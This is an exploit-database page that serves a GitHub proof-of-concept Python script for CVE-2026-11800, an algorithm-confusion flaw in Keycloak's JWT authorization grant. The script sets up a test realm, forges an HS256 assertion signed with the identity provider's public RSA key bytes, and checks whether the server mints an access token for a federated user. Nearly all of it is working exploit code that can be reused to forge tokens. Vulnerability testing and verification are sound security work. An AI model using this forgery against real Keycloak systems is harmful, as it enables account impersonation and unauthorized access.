Exploit database

GH-20d290386e77dcf7f4f726322eafbf68

fixedbyreboot/cve-2026-11800-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-11800

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8
fixedbyreboot/cve-2026-11800-pocRevision 317466f44128

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Suggested starting filePython · 14,809 bytes
#!/usr/bin/env python3
"""
CVE-2026-11800 - Keycloak JWT authorization-grant algorithm confusion (CWE-347).

Keycloak's JWT Authorization Grant flow (grant_type urn:ietf:params:oauth:grant-type:jwt-bearer)
validates a JWT assertion issued by a federated Identity Provider. When the IdP uses a
hardcoded public key (useJwksUrl=false) and no assertion algorithm is pinned
(jwtAuthorizationGrantAssertionSignatureAlg unset - the default), two flaws combine in
Keycloak < 26.6.4:

  1. AbstractBaseJWTValidator.validateSignatureAlgorithm() only compares the token's alg
     header against the configured expected algorithm. With no expected algorithm
     configured, ANY algorithm passes - including symmetric HMAC ones.
  2. HardcodedPublicKeyLoader has an HMAC branch that base64url-decodes the configured
     "public key" string and loads it as an HMAC secret (KeyType.OCT).

An attacker who knows the IdP's RSA public key - which is public by definition - signs an
assertion with HS256 using the RSA public key's DER bytes as the HMAC secret. The server
loads the same bytes as the HMAC key, signature verification succeeds, and a valid access
token is minted for any federated user of that IdP. Client credentials for a confidential
client that is allowed to use the grant are a documented precondition (PR:L).

Fixed in 26.6.4 (PR #50374, commit d343c7373dcc7bfeb9dc14de2309836299c81837): symmetric
algorithms are rejected in JWT public-key validators and the HMAC branch is removed, so
the same forged assertion gets 400 {"error": "invalid_grant",
"error_description": "Invalid signature algorithm"}.

This script drives one target Keycloak instance end to end:
  1. Provisions a test realm via the Admin REST API (idempotent: deletes first).
  2. Generates an RSA-2048 keypair (openssl) and configures a jwt-authorization-grant
     IdP whose publicKeySignatureVerifier is the base64 (no PEM headers) of the public
     key's DER-encoded SubjectPublicKeyInfo. Only the PUBLIC half is ever used - that is
     the point: the HMAC secret is public key material.
  3. Creates the confidential client (grant enabled + IdP pinned) and a federated user
     basic-user linked to the IdP with IdP-side subject basic-user-id.
  4. Forges the assertion with alg=HS256 keyed with the public-key DER bytes and submits
     it to the token endpoint.
  5. Prints the verdict: HTTP 200 + access token for the federated user (vulnerable),
     or 400 invalid_grant "Invalid signature algorithm" (fixed control).

Exit code: 0 = forged assertion accepted (target is vulnerable),
           1 = rejected (target not vulnerable), 2 = operational error.

Stdlib only; requires the openssl binary for RSA key generation.
Run only against a Keycloak instance you own.
"""

import argparse
import base64
import hashlib
import hmac
import json
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid

# Fixed lab identifiers (same names the upstream regression tests use).
IDP_ALIAS = "authorization-grant-idp-alias"
IDP_ISSUER = "https://authorization-grant-issuer"
CLIENT_ID = "test-app"
CLIENT_SECRET = "test-secret"
FEDERATED_USERNAME = "basic-user"
FEDERATED_SUBJECT = "basic-user-id"


def b64url(data: bytes) -> str:
    """Base64url without padding (JWT encoding)."""
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def http_json(method: str, url: str, token: str = None, body=None, form=None):
    """Small JSON/form HTTP helper on urllib. Returns (status, parsed-or-raw-body)."""
    headers = {"Accept": "application/json"}
    data = None
    if form is not None:
        data = urllib.parse.urlencode(form).encode()
        headers["Content-Type"] = "application/x-www-form-urlencoded"
    elif body is not None:
        data = json.dumps(body).encode()
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = f"Bearer {token}"
    req = urllib.request.Request(url, data=data, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            raw = resp.read().decode()
            return resp.status, (json.loads(raw) if raw else None)
    except urllib.error.HTTPError as err:
        raw = err.read().decode()
        try:
            return err.code, json.loads(raw)
        except json.JSONDecodeError:
            return err.code, raw


def generate_rsa_public_key_der() -> bytes:
    """Generate an RSA-2048 keypair with openssl and return ONLY the public key's
    DER-encoded SubjectPublicKeyInfo bytes - the bytes an attacker can get from
    anywhere (a JWKS, a published cert, the IdP's metadata). The private half is
    generated and immediately discarded; it plays no role in the attack."""
    pem = subprocess.run(
        ["openssl", "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048"],
        check=True, capture_output=True,
    ).stdout
    der = subprocess.run(
        ["openssl", "pkey", "-pubout", "-outform", "DER"],
        input=pem, check=True, capture_output=True,
    ).stdout
    return der


def forge_hs256_assertion(hmac_secret: bytes, issuer: str, subject: str, audience: str) -> str:
    """Build the forged assertion: a JWT with alg=HS256 whose signature is
    HMAC-SHA256 keyed with the RSA public key DER bytes. The recipient (Keycloak
    < 26.6.4) loads exactly these bytes as the HMAC verification key, so the
    signature checks out even though no private key was ever needed."""
    header = {"alg": "HS256", "typ": "JWT"}
    now = int(time.time())
    payload = {
        "jti": str(uuid.uuid4()),
        "iss": issuer,          # must map to the federated IdP
        "sub": subject,         # the IdP-side subject of the target federated user
        "aud": audience,        # realm issuer (Keycloak accepts issuer or token endpoint)
        "exp": now + 120,       # <= jwtAuthorizationGrantMaxAllowedAssertionExpiration (default 300)
        "iat": now,
    }
    signing_input = b64url(json.dumps(header, separators=(",", ":")).encode()) + "." + \
        b64url(json.dumps(payload, separators=(",", ":")).encode())
    signature = hmac.new(hmac_secret, signing_input.encode(), hashlib.sha256).digest()
    return f"{signing_input}.{b64url(signature)}"


class Lab:
    """Admin-REST provisioning of the vulnerable configuration + trigger."""

    def __init__(self, base, admin_user, admin_password, realm):
        self.base = base.rstrip("/")
        self.realm = realm
        token_res = http_json("POST",
                              f"{self.base}/realms/master/protocol/openid-connect/token",
                              form={"client_id": "admin-cli", "grant_type": "password",
                                    "username": admin_user, "password": admin_password})
        if token_res[0] != 200 or "access_token" not in token_res[1]:
            raise RuntimeError(f"admin bootstrap login failed: {token_res[0]} {token_res[1]}")
        self.token = token_res[1]["access_token"]

    def admin(self, method, path, body=None):
        return http_json(method, f"{self.base}/admin{path}", token=self.token, body=body)

    def provision(self, public_key_der, pin_alg=None):
        """Realm + jwt-authorization-grant IdP (hardcoded public key, no pinned alg
        unless pin_alg is given - the documented mitigation) + confidential grant
        client + federated user with an IdP identity link."""
        # idempotent: drop any leftover realm from a previous run
        self.admin("DELETE", f"/realms/{self.realm}")

        status, body = self.admin("POST", "/realms", {"realm": self.realm, "enabled": True})
        if status not in (201, 409):
            raise RuntimeError(f"realm create failed: {status} {body}")

        # The IdP: providerId jwt-authorization-grant, hardcoded public key
        # (useJwksUrl=false), grant enabled, NO jwtAuthorizationGrantAssertionSignatureAlg.
        # publicKeySignatureVerifier = plain base64 of the public-key DER bytes
        # (Keycloak Base64Url.decode() normalizes standard base64 before decoding).
        idp_config = {
            "issuer": IDP_ISSUER,
            "jwtAuthorizationGrantEnabled": "true",
            "useJwksUrl": "false",
            "publicKeySignatureVerifier": base64.b64encode(public_key_der).decode(),
        }
        if pin_alg:
            # Defense-in-depth (also the vendor mitigation): pin the expected
            # assertion algorithm so symmetric names fail the alg comparison.
            idp_config["jwtAuthorizationGrantAssertionSignatureAlg"] = pin_alg
        status, body = self.admin("POST", f"/realms/{self.realm}/identity-provider/instances", {
            "alias": IDP_ALIAS,
            "providerId": "jwt-authorization-grant",
            "enabled": True,
            "config": idp_config,
        })
        if status not in (201, 409):
            raise RuntimeError(f"identity provider create failed: {status} {body}")

        # The confidential client allowed to use the grant against this IdP.
        status, body = self.admin("POST", f"/realms/{self.realm}/clients", {
            "clientId": CLIENT_ID,
            "enabled": True,
            "protocol": "openid-connect",
            "publicClient": False,
            "secret": CLIENT_SECRET,
            "attributes": {
                "oauth2.jwt.authorization.grant.enabled": "true",
                "oauth2.jwt.authorization.grant.idp": IDP_ALIAS,
            },
        })
        if status not in (201, 409):
            raise RuntimeError(f"client create failed: {status} {body}")

        # The federated victim user, linked to the IdP with IdP-side subject basic-user-id.
        status, body = self.admin("POST", f"/realms/{self.realm}/users", {
            "username": FEDERATED_USERNAME,
            "email": "basic@localhost",
            "enabled": True,
            "firstName": "Basic", "lastName": "User",
        })
        if status not in (201, 409):
            raise RuntimeError(f"user create failed: {status} {body}")
        status, users = self.admin("GET", f"/realms/{self.realm}/users?username={FEDERATED_USERNAME}&exact=true")
        if status != 200 or not users:
            raise RuntimeError(f"user lookup failed: {status} {users}")
        user_id = users[0]["id"]
        status, body = self.admin(
            "POST", f"/realms/{self.realm}/users/{user_id}/federated-identity/{IDP_ALIAS}",
            {"identityProvider": IDP_ALIAS, "userId": FEDERATED_SUBJECT,
             "userName": FEDERATED_USERNAME})
        if status not in (201, 204, 409):
            raise RuntimeError(f"federated identity link failed: {status} {body}")

        return user_id

    def jwt_bearer_grant(self, assertion):
        """POST the forged assertion to the token endpoint (the actual trigger)."""
        return http_json("POST", f"{self.base}/realms/{self.realm}/protocol/openid-connect/token",
                         form={"grant_type": "urn:ietf:params:oauth:grant-type:jwt-bearer",
                               "assertion": assertion,
                               "client_id": CLIENT_ID,
                               "client_secret": CLIENT_SECRET})


def decode_jwt_payload(token: str) -> dict:
    """Unverified decode of a JWT payload, purely to display the minted token's claims."""
    part = token.split(".")[1]
    part += "=" * (-len(part) % 4)
    return json.loads(base64.urlsafe_b64decode(part))


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-11800 - Keycloak JWT authorization-grant algorithm confusion PoC")
    ap.add_argument("--url", default="http://localhost:8080",
                    help="base URL of the target Keycloak (default http://localhost:8080)")
    ap.add_argument("--admin-user", default="admin", help="bootstrap admin username")
    ap.add_argument("--admin-password", required=True, help="bootstrap admin password")
    ap.add_argument("--realm", default="test-realm", help="provisioned test realm name")
    ap.add_argument("--pin-alg", default=None, metavar="ALG",
                    help="pin jwtAuthorizationGrantAssertionSignatureAlg on the IdP "
                         "(e.g. RS256) - the vendor mitigation; the forged HS256 "
                         "assertion must then be rejected even on vulnerable versions")
    args = ap.parse_args()

    print(f"[*] TARGET: {args.url}")

    # 1. RSA public key: the 'secret' is public key material by design of the flaw.
    der = generate_rsa_public_key_der()
    print(f"[*] RSA public key generated: {len(der)} DER SubjectPublicKeyInfo bytes")
    print(f"[*] HMAC secret = those {len(der)} public DER bytes (base64 of them goes into the IdP config)")

    # 2. Provision realm/IdP/client/federated-user via Admin REST.
    lab = Lab(args.url, args.admin_user, args.admin_password, args.realm)
    user_id = lab.provision(der, pin_alg=args.pin_alg)
    realm_issuer = f"{args.url.rstrip('/')}/realms/{args.realm}"
    print(f"[*] provisioned realm {args.realm}: IdP {IDP_ALIAS} (hardcoded public key, "
          f"grant enabled, assertion alg {'pinned to ' + args.pin_alg if args.pin_alg else 'NOT pinned'}), "
          f"client {CLIENT_ID}, federated user "
          f"{FEDERATED_USERNAME} (id {user_id}, IdP subject {FEDERATED_SUBJECT})")

    # 3. Forge the HS256 assertion and fire it at the token endpoint.
    assertion = forge_hs256_assertion(der, IDP_ISSUER, FEDERATED_SUBJECT, realm_issuer)
    print(f"[*] RAW REQUEST: POST {lab.base}/realms/{args.realm}/protocol/openid-connect/token")
    print(f"[*]   grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer "
          f"client_id={CLIENT_ID} assertion(alg=HS256, sub={FEDERATED_SUBJECT}, aud={realm_issuer})")
    print(f"[*]   forged assertion: {assertion}")

    status, body = lab.jwt_bearer_grant(assertion)
    print(f"[*] RESPONSE STATUS: {status}")
    print(f"[*] RESPONSE BODY: {json.dumps(body)}")

    # 4. Verdict.
    if status == 200 and body.get("access_token"):
        claims = decode_jwt_payload(body["access_token"])
        print(f"[*] MINTED TOKEN preferred_username: {claims.get('preferred_username')}")
        print(f"[*] MINTED TOKEN sub: {claims.get('sub')}  azp: {claims.get('azp')}  iss: {claims.get('iss')}")
        print("[+] VULNERABLE: forged HS256 assertion ACCEPTED - access token minted for the "
              f"federated user '{claims.get('preferred_username')}' without any private key.")
        return 0
    if status == 400:
        print("[-] NOT VULNERABLE: forged HS256 assertion rejected - "
              f"{body.get('error')}: {body.get('error_description')}")
        return 1
    print(f"[!] UNEXPECTED response (neither 200/400): {status} {body}")
    return 2


if __name__ == "__main__":
    sys.exit(main())